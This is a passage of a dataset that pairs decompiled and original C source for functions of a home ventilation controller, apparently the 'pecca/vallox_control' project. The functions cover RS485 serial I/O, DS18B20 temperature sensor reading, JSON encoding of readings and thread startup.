(g_u32StartTime)\n {\n return 1;\n }\n else\n {\n return 0;\n }\n}", "variable_types": [], "return_type": "_Bool", "user_defined_types": [], "binary_hash": "20af0b6bad21d944a8a6aad836d6e5c2352c28e7bd7b5f736954cc67a954b777" }, { "name": "u32_pre_heating_resistor_get_on_time_total", "canonical_name": "func6", "repo": "pecca/vallox_control", "decompiled_code": "__int64 u32_pre_heating_resistor_get_on_time_total()\n{\nreturn (unsigned int)g_u32OnTimeTotal;\n}\n", "canonical_decompiled_code": "__int64 func6()\n{\nreturn (unsigned int)g_u32OnTimeTotal;\n}", "original_code": "uint32 u32_pre_heating_resistor_get_on_time_total()\n{\n return g_u32OnTimeTotal;\n}", "canonical_original_code": "unsigned int u32_pre_heating_resistor_get_on_time_total()\n{\n return g_u32OnTimeTotal;\n}", "variable_types": [], "return_type": "unsigned int", "user_defined_types": [], "binary_hash": "20af0b6bad21d944a8a6aad836d6e5c2352c28e7bd7b5f736954cc67a954b777" } ]
24a62181349947d0eeb6f1157cd953ad534dd06f21de7afb3e8bd75dac050c17
pecca/vallox_control
[ [ "main", "->" ] ]
[]
[ { "name": "main", "canonical_name": "main", "repo": "pecca/vallox_control", "decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\npthread_t v3; // [rsp+10h] [rbp-50h] BYREF\npthread_t v4; // [rsp+18h] [rbp-48h] BYREF\npthread_t v5; // [rsp+20h] [rbp-40h] BYREF\npthread_t th; // [rsp+28h] [rbp-38h] BYREF\npthread_t newthread; // [rsp+30h] [rbp-30h] BYREF\nvoid *v8; // [rsp+38h] [rbp-28h]\nvoid *v9; // [rsp+40h] [rbp-20h]\nvoid *v10; // [rsp+48h] [rbp-18h]\nvoid *v11; // [rsp+50h] [rbp-10h]\nvoid *arg; // [rsp+58h] [rbp-8h]\n\narg = \"Thread: DS18B20\";\nv11 = \"Thread: digit receive\";\nv10 = \"Thread: digit update\";\nv9 = \"Thread: udp-server\";\nv8 = \"Thread: ctrl logic\";\npthread_create(&newthread, 0LL, (void *(*)(void *))&DS18B20_thread, \"Thread: DS18B20\");\npthread_create(&th, 0LL, (void *(*)(void *))&digit_receive_thread, v11);\npthread_create(&v4, 0LL, (void *(*)(void *))&digit_update_thread, v10);\npthread_create(&v5, 0LL, (void *(*)(void *))&udp_server_thread, v9);\npthread_create(&v3, 0LL, (void *(*)(void *))&ctrl_logic_thread, v8);\npthread_join(newthread, 0LL);\npthread_join(th, 0LL);\npthread_join(v5, 0LL);\npthread_join(v4, 0LL);\npthread_join(v3, 0LL);\nexit(0);\n}\n", "canonical_decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\npthread_t v3; // [rsp+10h] [rbp-50h] BYREF\npthread_t v4; // [rsp+18h] [rbp-48h] BYREF\npthread_t v5; // [rsp+20h] [rbp-40h] BYREF\npthread_t th; // [rsp+28h] [rbp-38h] BYREF\npthread_t newthread; // [rsp+30h] [rbp-30h] BYREF\nvoid *v8; // [rsp+38h] [rbp-28h]\nvoid *v9; // [rsp+40h] [rbp-20h]\nvoid *v10; // [rsp+48h] [rbp-18h]\nvoid *v11; // [rsp+50h] [rbp-10h]\nvoid *arg; // [rsp+58h] [rbp-8h]\n\narg = \"Thread: DS18B20\";\nv11 = \"Thread: digit receive\";\nv10 = \"Thread: digit update\";\nv9 = \"Thread: udp-server\";\nv8 = \"Thread: ctrl logic\";\npthread_create(&newthread, 0LL, (void *(*)(void *))&DS18B20_thread, \"Thread: DS18B20\");\npthread_create(&th, 0LL, (void *(*)(void *))&digit_receive_thread, v11);\npthread_create(&v4, 0LL, (void *(*)(void *))&digit_update_thread, v10);\npthread_create(&v5, 0LL, (void *(*)(void *))&udp_server_thread, v9);\npthread_create(&v3, 0LL, (void *(*)(void *))&ctrl_logic_thread, v8);\npthread_join(newthread, 0LL);\npthread_join(th, 0LL);\npthread_join(v5, 0LL);\npthread_join(v4, 0LL);\npthread_join(v3, 0LL);\nexit(0);\n}", "original_code": "int main(int argc, char *argv[])\n{\n pthread_t thread1, thread2, thread3, thread4, thread5;\n char *message1 = \"Thread: DS18B20\";\n char *message2 = \"Thread: digit receive\";\n char *message3 = \"Thread: digit update\";\n char *message4 = \"Thread: udp-server\";\n char *message5 = \"Thread: ctrl logic\";\n pthread_create( &thread1, ((void *)0), DS18B20_thread, (void*) message1);\n pthread_create( &thread2, ((void *)0), digit_receive_thread, (void*) message2);\n pthread_create( &thread4, ((void *)0), digit_update_thread, (void*) message3);\n pthread_create( &thread3, ((void *)0), udp_server_thread, (void*) message4);\n pthread_create( &thread5, ((void *)0), ctrl_logic_thread, (void*) message5);\n pthread_join( thread1, ((void *)0));\n pthread_join( thread2, ((void *)0));\n pthread_join( thread3, ((void *)0));\n pthread_join( thread4, ((void *)0));\n pthread_join( thread5, ((void *)0));\n exit(0);\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n unsigned long thread1; unsigned long thread2; unsigned long thread3; unsigned long thread4; unsigned long thread5;\n char *message1 = \"Thread: DS18B20\";\n char *message2 = \"Thread: digit receive\";\n char *message3 = \"Thread: digit update\";\n char *message4 = \"Thread: udp-server\";\n char *message5 = \"Thread: ctrl logic\";\n pthread_create( &thread1, ((void *)0), DS18B20_thread, (void *) message1);\n pthread_create( &thread2, ((void *)0), digit_receive_thread, (void *) message2);\n pthread_create( &thread4, ((void *)0), digit_update_thread, (void *) message3);\n pthread_create( &thread3, ((void *)0), udp_server_thread, (void *) message4);\n pthread_create( &thread5, ((void *)0), ctrl_logic_thread, (void *) message5);\n pthread_join( thread1, ((void *)0));\n pthread_join( thread2, ((void *)0));\n pthread_join( thread3, ((void *)0));\n pthread_join( thread4, ((void *)0));\n pthread_join( thread5, ((void *)0));\n exit(0);\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "thread1", "unsigned long" ], [ "thread2", "unsigned long" ], [ "thread3", "unsigned long" ], [ "thread4", "unsigned long" ], [ "thread5", "unsigned long" ], [ "message1", "char *" ], [ "message2", "char *" ], [ "message3", "char *" ], [ "message4", "char *" ], [ "message5", "char *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "24a62181349947d0eeb6f1157cd953ad534dd06f21de7afb3e8bd75dac050c17" } ]
2e58bffd5d39e23890fee2948bf20b761ce5628944ebbb6986a42dfbcf511aed
pecca/vallox_control
[ [ "rs485_open", "->" ], [ "rs485_close", "->" ], [ "rs485_recv_msg", "->" ], [ "rs485_send_msg", "->" ] ]
[]
[ { "name": "rs485_open", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "int __fastcall rs485_open(const char *a1)\n{\ntcflag_t v1; // eax\ntcflag_t v2; // eax\nstruct termios termios_p; // [rsp+10h] [rbp-40h] BYREF\n\ng_i32RS485_port = open(a1, 2306);\nif ( g_i32RS485_port >= 0 )\nfcntl(g_i32RS485_port, 4, 0LL);\nelse\nperror(\"open_port: Unable to open port\");\nfsync(g_i32RS485_port);\ntcgetattr(g_i32RS485_port, &termios_p);\ncfsetispeed(&termios_p, 0xDu);\ncfsetospeed(&termios_p, 0xDu);\ntermios_p.c_cflag |= 0x30u;\ntermios_p.c_iflag &= 0xFFFFFFFE;\ntermios_p.c_cc[6] = 6;\ntermios_p.c_cc[5] = 5;\nv1 = termios_p.c_iflag;\nBYTE1(v1) = BYTE1(termios_p.c_iflag) & 0xE3;\ntermios_p.c_iflag = v1;\ntermios_p.c_cflag |= 0x880u;\nv2 = termios_p.c_cflag;\nBYTE1(v2) = BYTE1(termios_p.c_cflag) & 0xFC;\ntermios_p.c_iflag &= 0xFFFFFA14;\ntermios_p.c_oflag = 0;\ntermios_p.c_lflag = 0;\ntermios_p.c_cflag = v2 & 0x7FFFFE8F;\ntcsetattr(g_i32RS485_port, 0, &termios_p);\nreturn tcgetattr(g_i32RS485_port, &termios_p);\n}\n", "canonical_decompiled_code": "int __fastcall func0(const char *a1)\n{\ntcflag_t v1; // eax\ntcflag_t v2; // eax\nstruct termios termios_p; // [rsp+10h] [rbp-40h] BYREF\n\ng_i32RS485_port = open(a1, 2306);\nif ( g_i32RS485_port >= 0 )\nfcntl(g_i32RS485_port, 4, 0LL);\nelse\nperror(\"open_port: Unable to open port\");\nfsync(g_i32RS485_port);\ntcgetattr(g_i32RS485_port, &termios_p);\ncfsetispeed(&termios_p, 0xDu);\ncfsetospeed(&termios_p, 0xDu);\ntermios_p.c_cflag |= 0x30u;\ntermios_p.c_iflag &= 0xFFFFFFFE;\ntermios_p.c_cc[6] = 6;\ntermios_p.c_cc[5] = 5;\nv1 = termios_p.c_iflag;\nBYTE1(v1) = BYTE1(termios_p.c_iflag) & 0xE3;\ntermios_p.c_iflag = v1;\ntermios_p.c_cflag |= 0x880u;\nv2 = termios_p.c_cflag;\nBYTE1(v2) = BYTE1(termios_p.c_cflag) & 0xFC;\ntermios_p.c_iflag &= 0xFFFFFA14;\ntermios_p.c_oflag = 0;\ntermios_p.c_lflag = 0;\ntermios_p.c_cflag = v2 & 0x7FFFFE8F;\ntcsetattr(g_i32RS485_port, 0, &termios_p);\nreturn tcgetattr(g_i32RS485_port, &termios_p);\n}", "original_code": "void rs485_open(char *sFile)\n{\n struct termios options;\n g_i32RS485_port = open(sFile, 02 | 0400 | 04000);\n if(g_i32RS485_port < 0)\n {\n perror(\"open_port: Unable to open port\");\n }\n else\n {\n fcntl(g_i32RS485_port, 4, 0);\n }\n fsync(g_i32RS485_port);\n tcgetattr(g_i32RS485_port, &options);\n cfsetispeed(&options, 0000015);\n cfsetospeed(&options, 0000015);\n options.c_cflag = (options.c_cflag & ~0000060) | 0000060;\n options.c_iflag &= ~0000001;\n options.c_lflag = 0;\n options.c_oflag = 0;\n options.c_cc[6] = 6;\n options.c_cc[5] = 5;\n options.c_iflag &= ~(0002000 | 0010000 | 0004000);\n options.c_cflag |= (0004000 | 0000200);\n options.c_cflag &= ~(0000400 | 0001000);\n options.c_cflag |= 0;\n options.c_cflag &= ~0000100;\n options.c_cflag &= ~020000000000;\n options.c_iflag &= ~(0000001 | 0000002 | 0000010 | 0000040\n | 0000100 | 0000200 | 0000400 | 0002000);\n options.c_oflag &= ~0000001;\n options.c_lflag &= ~(0000010 | 0000100 | 0000002 | 0000001 | 0100000);\n options.c_cflag &= ~(0000060 | 0000400);\n tcsetattr(g_i32RS485_port, 0, &options);\n tcgetattr(g_i32RS485_port, &options);\n}", "canonical_original_code": "void rs485_open(char *sFile)\n{\n struct termios options;\n g_i32RS485_port = open(sFile, 02 | 0400 | 04000);\n if(g_i32RS485_port < 0)\n {\n perror(\"open_port: Unable to open port\");\n }\n else\n {\n fcntl(g_i32RS485_port, 4, 0);\n }\n fsync(g_i32RS485_port);\n tcgetattr(g_i32RS485_port, &options);\n cfsetispeed(&options, 0000015);\n cfsetospeed(&options, 0000015);\n options.c_cflag = (options.c_cflag & ~0000060) | 0000060;\n options.c_iflag &= ~0000001;\n options.c_lflag = 0;\n options.c_oflag = 0;\n options.c_cc[6] = 6;\n options.c_cc[5] = 5;\n options.c_iflag &= ~(0002000 | 0010000 | 0004000);\n options.c_cflag |= (0004000 | 0000200);\n options.c_cflag &= ~(0000400 | 0001000);\n options.c_cflag |= 0;\n options.c_cflag &= ~0000100;\n options.c_cflag &= ~020000000000;\n options.c_iflag &= ~(0000001 | 0000002 | 0000010 | 0000040\n | 0000100 | 0000200 | 0000400 | 0002000);\n options.c_oflag &= ~0000001;\n options.c_lflag &= ~(0000010 | 0000100 | 0000002 | 0000001 | 0100000);\n options.c_cflag &= ~(0000060 | 0000400);\n tcsetattr(g_i32RS485_port, 0, &options);\n tcgetattr(g_i32RS485_port, &options);\n}", "variable_types": [ [ "sFile", "char *" ], [ "options", "struct termios { unsigned int c_iflag; unsigned int c_oflag; unsigned int c_cflag; unsigned int c_lflag; unsigned char c_line; unsigned char c_cc[32]; unsigned int c_ispeed; unsigned int c_ospeed; }" ] ], "return_type": "void", "user_defined_types": [ "struct termios { unsigned int c_iflag; unsigned int c_oflag; unsigned int c_cflag; unsigned int c_lflag; unsigned char c_line; unsigned char c_cc[32]; unsigned int c_ispeed; unsigned int c_ospeed; }" ], "binary_hash": "2e58bffd5d39e23890fee2948bf20b761ce5628944ebbb6986a42dfbcf511aed" }, { "name": "rs485_close", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "int rs485_close()\n{\nreturn close(g_i32RS485_port);\n}\n", "canonical_decompiled_code": "int func1()\n{\nreturn close(g_i32RS485_port);\n}", "original_code": "void rs485_close()\n{\n close(g_i32RS485_port);\n}", "canonical_original_code": "void rs485_close()\n{\n close(g_i32RS485_port);\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "2e58bffd5d39e23890fee2948bf20b761ce5628944ebbb6986a42dfbcf511aed" }, { "name": "rs485_recv_msg", "canonical_name": "func2", "repo": "pecca/vallox_control", "decompiled_code": "__int64 __fastcall rs485_recv_msg(int a1, void *a2, int a3)\n{\nint v4; // [rsp+18h] [rbp-8h]\n\nwhile ( a3 > 0 )\n{\nv4 = read(g_i32RS485_port, &g_au8RecvBuf, 0x64uLL);\nif ( v4 < 0 )\n{\nprintf(\"ERROR: reading rs485 port, read_bytes = %d\\n\", (unsigned int)v4);\nreturn 0LL;\n}\nif ( v4 == a1 )\n{\nmemcpy(a2, &g_au8RecvBuf, a1);\nreturn 1LL;\n}\n--a3;\n}\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(int a1, void *a2, int a3)\n{\nint v4; // [rsp+18h] [rbp-8h]\n\nwhile ( a3 > 0 )\n{\nv4 = read(g_i32RS485_port, &g_au8RecvBuf, 0x64uLL);\nif ( v4 < 0 )\n{\nprintf(\"ERROR: reading rs485 port, read_bytes = %d\\n\", (unsigned int)v4);\nreturn 0LL;\n}\nif ( v4 == a1 )\n{\nmemcpy(a2, &g_au8RecvBuf, a1);\nreturn 1LL;\n}\n--a3;\n}\nreturn 0LL;\n}", "original_code": "_Bool rs485_recv_msg(int32 i32MsgLen, uint8 *au8Msg, int32 i32ReadAttempts)\n{\n int32 i32ReadCnt = i32ReadAttempts;\n int32 i32ReadBytes;\n while(i32ReadCnt > 0)\n {\n i32ReadBytes = read(g_i32RS485_port, g_au8RecvBuf, 100);\n if (i32ReadBytes < 0)\n {\n printf(\"ERROR: reading rs485 port, read_bytes = %d\\n\",\n i32ReadBytes);\n return 0;\n }\n else if (i32ReadBytes == i32MsgLen)\n {\n memcpy(au8Msg, g_au8RecvBuf, i32MsgLen);\n return 1;\n }\n i32ReadCnt--;\n }\n return 0;\n}", "canonical_original_code": "_Bool rs485_recv_msg(int i32MsgLen, unsigned char *au8Msg, int i32ReadAttempts)\n{\n int i32ReadCnt = i32ReadAttempts;\n int i32ReadBytes;\n while(i32ReadCnt > 0)\n {\n i32ReadBytes = read(g_i32RS485_port, g_au8RecvBuf, 100);\n if (i32ReadBytes < 0)\n {\n printf(\"ERROR: reading rs485 port, read_bytes = %d\\n\",\n i32ReadBytes);\n return 0;\n }\n else if (i32ReadBytes == i32MsgLen)\n {\n memcpy(au8Msg, g_au8RecvBuf, i32MsgLen);\n return 1;\n }\n i32ReadCnt--;\n }\n return 0;\n}", "variable_types": [ [ "i32MsgLen", "int" ], [ "au8Msg", "unsigned char *" ], [ "i32ReadAttempts", "int" ], [ "i32ReadCnt", "int" ], [ "i32ReadBytes", "int" ] ], "return_type": "_Bool", "user_defined_types": [], "binary_hash": "2e58bffd5d39e23890fee2948bf20b761ce5628944ebbb6986a42dfbcf511aed" }, { "name": "rs485_send_msg", "canonical_name": "func3", "repo": "pecca/vallox_control", "decompiled_code": "_BOOL8 __fastcall rs485_send_msg(int a1, const void *a2)\n{\nreturn write(g_i32RS485_port, a2, a1) > 0;\n}\n", "canonical_decompiled_code": "_BOOL8 __fastcall func3(int a1, const void *a2)\n{\nreturn write(g_i32RS485_port, a2, a1) > 0;\n}", "original_code": "_Bool rs485_send_msg(int32 i32MsgLen, uint8 *au8SendMsg)\n{\n if (write(g_i32RS485_port, au8SendMsg, i32MsgLen) > 0)\n {\n return 1;\n }\n else\n {\n return 0;\n }\n}", "canonical_original_code": "_Bool rs485_send_msg(int i32MsgLen, unsigned char *au8SendMsg)\n{\n if (write(g_i32RS485_port, au8SendMsg, i32MsgLen) > 0)\n {\n return 1;\n }\n else\n {\n return 0;\n }\n}", "variable_types": [ [ "i32MsgLen", "int" ], [ "au8SendMsg", "unsigned char *" ] ], "return_type": "_Bool", "user_defined_types": [], "binary_hash": "2e58bffd5d39e23890fee2948bf20b761ce5628944ebbb6986a42dfbcf511aed" } ]
6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140
pecca/vallox_control
[ [ "DS18B20_thread", "->", "read_DS18B20_sensors" ], [ "DS18B20_json_encode_vars", "->", "r32_DS18B20_outside_temp", "tDS18B20_outside_temp_ts", "r32_DS18B20_exhaust_temp", "tDS18B20_exhaust_temp_ts", "r32_DS18B20_incoming_temp", "tDS18B20_incoming_temp_ts" ], [ "DS18B20_vars_ok", "->" ], [ "r32_DS18B20_outside_temp", "->", "DS18B20_json_encode_vars" ], [ "r32_DS18B20_exhaust_temp", "->", "DS18B20_json_encode_vars" ], [ "r32_DS18B20_incoming_temp", "->", "DS18B20_json_encode_vars" ], [ "tDS18B20_outside_temp_ts", "->", "DS18B20_json_encode_vars" ], [ "tDS18B20_exhaust_temp_ts", "->", "DS18B20_json_encode_vars" ], [ "tDS18B20_incoming_temp_ts", "->", "DS18B20_json_encode_vars" ], [ "read_temperature_from_DS18B20_file", "->", "read_DS18B20_sensors" ], [ "read_DS18B20_sensors", "->", "DS18B20_thread", "read_temperature_from_DS18B20_file" ] ]
[ [ "read_temperature_from_DS18B20_file", "__int64 __fastcall func9(__int64 a1, float *a2)\n{\nint i; // eax\nfloat v3; // xmm0_4\nchar s1[2]; // [rsp+10h] [rbp-70h] BYREF\nchar v6[109]; // [rsp+12h] [rbp-6Eh] BYREF\nunsigned __int8 v7; // [rsp+7Fh] [rbp-1h]\n\nv7 = 0;\nfor ( i = _isoc99_fscanf(a1, \"%s\", s1); i > 0; i = _isoc99_fscanf(a1, \"%s\", s1) )\n{\nif ( !strcmp(s1, \"YES\") )\nv7 = 1;\nif ( !strncmp(s1, \"t=\", 2uLL) )\n{\nv3 = atof(v6) / 1000.0;\n*a2 = v3;\n}\n}\nreturn v7;\n}" ], [ "read_DS18B20_sensors", "int func10()\n{\nFILE *v0; // rax\nint v2; // [rsp+4h] [rbp-1Ch] BYREF\nFILE *v3; // [rsp+8h] [rbp-18h]\nFILE *v4; // [rsp+10h] [rbp-10h]\nFILE *stream; // [rsp+18h] [rbp-8h]\n\nstream = fopen(\"/sys/bus/w1/devices/28-000004afcbb3/w1_slave\", \"r\");\nv4 = fopen(\"/sys/bus/w1/devices/28-000004b0aa24/w1_slave\", \"r\");\nv0 = fopen(\"/sys/bus/w1/devices/28-0000054bdcd4/w1_slave\", \"r\");\nv3 = v0;\nif ( stream )\n{\nif ( (unsigned __int8)func9((__int64)stream, (float *)&v2) )\n{\n++g_u32DS18B20_cnt_s1;\ng_r32DS18B20_temp_s1 = v2;\ng_DS18B20_timestamp_s1 = time(0LL);\n}\nLODWORD(v0) = fclose(stream);\n}\nif ( v4 )\n{\nif ( (unsigned __int8)func9((__int64)v4, (float *)&v2) )\n{\n++g_u32DS18B20_cnt_s2;\ng_r32DS18B20_temp_s2 = v2;\ng_DS18B20_timestamp_s2 = time(0LL);\n}\nLODWORD(v0) = fclose(v4);\n}\nif ( v3 )\n{\nif ( (unsigned __int8)func9((__int64)v3, (float *)&v2) )\n{\n++g_u32DS18B20_cnt_s3;\ng_r32DS18B20_temp_s3 = v2;\ng_DS18B20_timestamp_s3 = time(0LL);\n}\nLODWORD(v0) = fclose(v3);\n}\nreturn (int)v0;\n}" ] ]
[ { "name": "DS18B20_thread", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "void __noreturn DS18B20_thread()\n{\nwhile ( 1 )\n{\nread_DS18B20_sensors();\nsleep(5u);\n}\n}\n", "canonical_decompiled_code": "void __noreturn func0()\n{\nwhile ( 1 )\n{\nfunc10();\nsleep(5u);\n}\n}", "original_code": "void *DS18B20_thread( void *ptr )\n{\n while(1)\n {\n read_DS18B20_sensors();\n sleep(5);\n }\n return ((void *)0);\n}", "canonical_original_code": "void *DS18B20_thread(void *ptr)\n{\n while(1)\n {\n read_DS18B20_sensors();\n sleep(5);\n }\n return ((void *)0);\n}", "variable_types": [ [ "ptr", "void *" ] ], "return_type": "void *", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" }, { "name": "DS18B20_json_encode_vars", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "char *__fastcall DS18B20_json_encode_vars(char *a1, __m128i a2)\n{\n__m128i v2; // xmm0\nunsigned int v3; // eax\n__m128i v4; // xmm0\nunsigned int v5; // eax\nunsigned int v6; // eax\nchar *result; // rax\nchar s[1008]; // [rsp+10h] [rbp-7E0h] BYREF\nchar v9[1008]; // [rsp+400h] [rbp-3F0h] BYREF\n\n*(_WORD *)a1 = 123;\nv9[0] = 0;\ns[0] = 0;\n*(double *)a2.m128i_i64 = r32_DS18B20_outside_temp();\nv2 = _mm_cvtsi32_si128(_mm_cvtsi128_si32(a2));\njson_encode_real32(s, \"value\", *(double *)v2.m128i_i64);\n*(_WORD *)&s[strlen(s)] = 44;\nv3 = tDS18B20_outside_temp_ts();\njson_encode_integer(s, \"ts\", v3);\njson_encode_object(v9, \"ds_outside_temp\", s);\n*(_WORD *)&v9[strlen(v9)] = 44;\ns[0] = 0;\n*(double *)v2.m128i_i64 = r32_DS18B20_exhaust_temp();\nv4 = _mm_cvtsi32_si128(_mm_cvtsi128_si32(v2));\njson_encode_real32(s, \"value\", *(double *)v4.m128i_i64);\n*(_WORD *)&s[strlen(s)] = 44;\nv5 = tDS18B20_exhaust_temp_ts();\njson_encode_integer(s, \"ts\", v5);\njson_encode_object(v9, \"ds_exhaust_temp\", s);\n*(_WORD *)&v9[strlen(v9)] = 44;\ns[0] = 0;\n*(double *)v4.m128i_i64 = r32_DS18B20_incoming_temp();\njson_encode_real32(s, \"value\", *(double *)_mm_cvtsi32_si128(_mm_cvtsi128_si32(v4)).m128i_i64);\n*(_WORD *)&s[strlen(s)] = 44;\nv6 = tDS18B20_incoming_temp_ts();\njson_encode_integer(s, \"ts\", v6);\njson_encode_object(v9, \"ds_incoming_temp\", s);\njson_encode_object(a1, \"ds18b20_vars\", v9);\nresult = &a1[strlen(a1)];\n*(_WORD *)result = 125;\nreturn result;\n}\n", "canonical_decompiled_code": "char *__fastcall func1(char *a1, __m128i a2)\n{\n__m128i v2; // xmm0\nunsigned int v3; // eax\n__m128i v4; // xmm0\nunsigned int v5; // eax\nunsigned int v6; // eax\nchar *result; // rax\nchar s[1008]; // [rsp+10h] [rbp-7E0h] BYREF\nchar v9[1008]; // [rsp+400h] [rbp-3F0h] BYREF\n\n*(_WORD *)a1 = 123;\nv9[0] = 0;\ns[0] = 0;\n*(double *)a2.m128i_i64 = func3();\nv2 = _mm_cvtsi32_si128(_mm_cvtsi128_si32(a2));\njson_encode_real32(s, \"value\", *(double *)v2.m128i_i64);\n*(_WORD *)&s[strlen(s)] = 44;\nv3 = func6();\njson_encode_integer(s, \"ts\", v3);\njson_encode_object(v9, \"ds_outside_temp\", s);\n*(_WORD *)&v9[strlen(v9)] = 44;\ns[0] = 0;\n*(double *)v2.m128i_i64 = func4();\nv4 = _mm_cvtsi32_si128(_mm_cvtsi128_si32(v2));\njson_encode_real32(s, \"value\", *(double *)v4.m128i_i64);\n*(_WORD *)&s[strlen(s)] = 44;\nv5 = func7();\njson_encode_integer(s, \"ts\", v5);\njson_encode_object(v9, \"ds_exhaust_temp\", s);\n*(_WORD *)&v9[strlen(v9)] = 44;\ns[0] = 0;\n*(double *)v4.m128i_i64 = func5();\njson_encode_real32(s, \"value\", *(double *)_mm_cvtsi32_si128(_mm_cvtsi128_si32(v4)).m128i_i64);\n*(_WORD *)&s[strlen(s)] = 44;\nv6 = func8();\njson_encode_integer(s, \"ts\", v6);\njson_encode_object(v9, \"ds_incoming_temp\", s);\njson_encode_object(a1, \"ds18b20_vars\", v9);\nresult = &a1[strlen(a1)];\n*(_WORD *)result = 125;\nreturn result;\n}", "original_code": "void DS18B20_json_encode_vars(char *mesg)\n{\n char sub_str1[1000];\n char sub_str2[1000];\n strcpy(mesg, \"{\");\n strcpy(sub_str1, \"\");\n strcpy(sub_str2, \"\");\n json_encode_real32(sub_str2,\n \"value\",\n r32_DS18B20_outside_temp());\n strncat(sub_str2, \",\", 1);\n json_encode_integer(sub_str2,\n \"ts\",\n tDS18B20_outside_temp_ts());\n json_encode_object(sub_str1,\n \"ds_outside_temp\",\n sub_str2);\n strncat(sub_str1, \",\", 1);\n strcpy(sub_str2, \"\");\n json_encode_real32(sub_str2,\n \"value\",\n r32_DS18B20_exhaust_temp());\n strncat(sub_str2, \",\", 1);\n json_encode_integer(sub_str2,\n \"ts\",\n tDS18B20_exhaust_temp_ts());\n json_encode_object(sub_str1,\n \"ds_exhaust_temp\",\n sub_str2);\n strncat(sub_str1, \",\", 1);\n strcpy(sub_str2, \"\");\n json_encode_real32(sub_str2,\n \"value\",\n r32_DS18B20_incoming_temp());\n strncat(sub_str2, \",\", 1);\n json_encode_integer(sub_str2,\n \"ts\",\n tDS18B20_incoming_temp_ts());\n json_encode_object(sub_str1,\n \"ds_incoming_temp\",\n sub_str2);\n json_encode_object(mesg,\n \"ds18b20_vars\",\n sub_str1);\n strncat(mesg, \"}\", 1);\n}", "canonical_original_code": "void DS18B20_json_encode_vars(char *mesg)\n{\n char sub_str1[1000];\n char sub_str2[1000];\n strcpy(mesg, \"{\");\n strcpy(sub_str1, \"\");\n strcpy(sub_str2, \"\");\n json_encode_real32(sub_str2,\n \"value\",\n r32_DS18B20_outside_temp());\n strncat(sub_str2, \",\", 1);\n json_encode_integer(sub_str2,\n \"ts\",\n tDS18B20_outside_temp_ts());\n json_encode_object(sub_str1,\n \"ds_outside_temp\",\n sub_str2);\n strncat(sub_str1, \",\", 1);\n strcpy(sub_str2, \"\");\n json_encode_real32(sub_str2,\n \"value\",\n r32_DS18B20_exhaust_temp());\n strncat(sub_str2, \",\", 1);\n json_encode_integer(sub_str2,\n \"ts\",\n tDS18B20_exhaust_temp_ts());\n json_encode_object(sub_str1,\n \"ds_exhaust_temp\",\n sub_str2);\n strncat(sub_str1, \",\", 1);\n strcpy(sub_str2, \"\");\n json_encode_real32(sub_str2,\n \"value\",\n r32_DS18B20_incoming_temp());\n strncat(sub_str2, \",\", 1);\n json_encode_integer(sub_str2,\n \"ts\",\n tDS18B20_incoming_temp_ts());\n json_encode_object(sub_str1,\n \"ds_incoming_temp\",\n sub_str2);\n json_encode_object(mesg,\n \"ds18b20_vars\",\n sub_str1);\n strncat(mesg, \"}\", 1);\n}", "variable_types": [ [ "mesg", "char *" ], [ "sub_str1", "char [1000]" ], [ "sub_str2", "char [1000]" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" }, { "name": "DS18B20_vars_ok", "canonical_name": "func2", "repo": "pecca/vallox_control", "decompiled_code": "_BOOL8 DS18B20_vars_ok()\n{\ntime_t v1; // [rsp+8h] [rbp-8h]\n\nv1 = time(0LL);\nreturn v1 - g_DS18B20_timestamp_s1 <= 100 && v1 - g_DS18B20_timestamp_s2 <= 100 && v1 - g_DS18B20_timestamp_s3 <= 100;\n}\n", "canonical_decompiled_code": "_BOOL8 func2()\n{\ntime_t v1; // [rsp+8h] [rbp-8h]\n\nv1 = time(0LL);\nreturn v1 - g_DS18B20_timestamp_s1 <= 100 && v1 - g_DS18B20_timestamp_s2 <= 100 && v1 - g_DS18B20_timestamp_s3 <= 100;\n}", "original_code": "_Bool DS18B20_vars_ok()\n{\n time_t current_time = time(((void *)0));\n if (current_time - g_DS18B20_timestamp_s1 > 100 ||\n current_time - g_DS18B20_timestamp_s2 > 100 ||\n current_time - g_DS18B20_timestamp_s3 > 100)\n {\n return 0;\n }\n else\n {\n return 1;\n }\n}", "canonical_original_code": "_Bool DS18B20_vars_ok()\n{\n long current_time = time(((void *)0));\n if (current_time - g_DS18B20_timestamp_s1 > 100 ||\n current_time - g_DS18B20_timestamp_s2 > 100 ||\n current_time - g_DS18B20_timestamp_s3 > 100)\n {\n return 0;\n }\n else\n {\n return 1;\n }\n}", "variable_types": [ [ "current_time", "long" ] ], "return_type": "_Bool", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" }, { "name": "r32_DS18B20_outside_temp", "canonical_name": "func3", "repo": "pecca/vallox_control", "decompiled_code": "float r32_DS18B20_outside_temp()\n{\nreturn *(float *)&g_r32DS18B20_temp_s1;\n}\n", "canonical_decompiled_code": "float func3()\n{\nreturn *(float *)&g_r32DS18B20_temp_s1;\n}", "original_code": "real32 r32_DS18B20_outside_temp()\n{\n return g_r32DS18B20_temp_s1;\n}", "canonical_original_code": "float r32_DS18B20_outside_temp()\n{\n return g_r32DS18B20_temp_s1;\n}", "variable_types": [], "return_type": "float", "user_defined_types": [], "binary_hash": "6b7afd58f3b7f373859e19966d5474b9ba0137cee75a1c5a0774b2c46ae18140" }, { "name": "r32_DS18B20_exhaust_temp", "canonical_name": "func4", "repo": "pecca/vallox_control", "decompiled_code": "float r32_DS18B20_exhaust_temp()\n{\nreturn *(float *)&g_r32DS18B20_temp_s2;\n}\n", 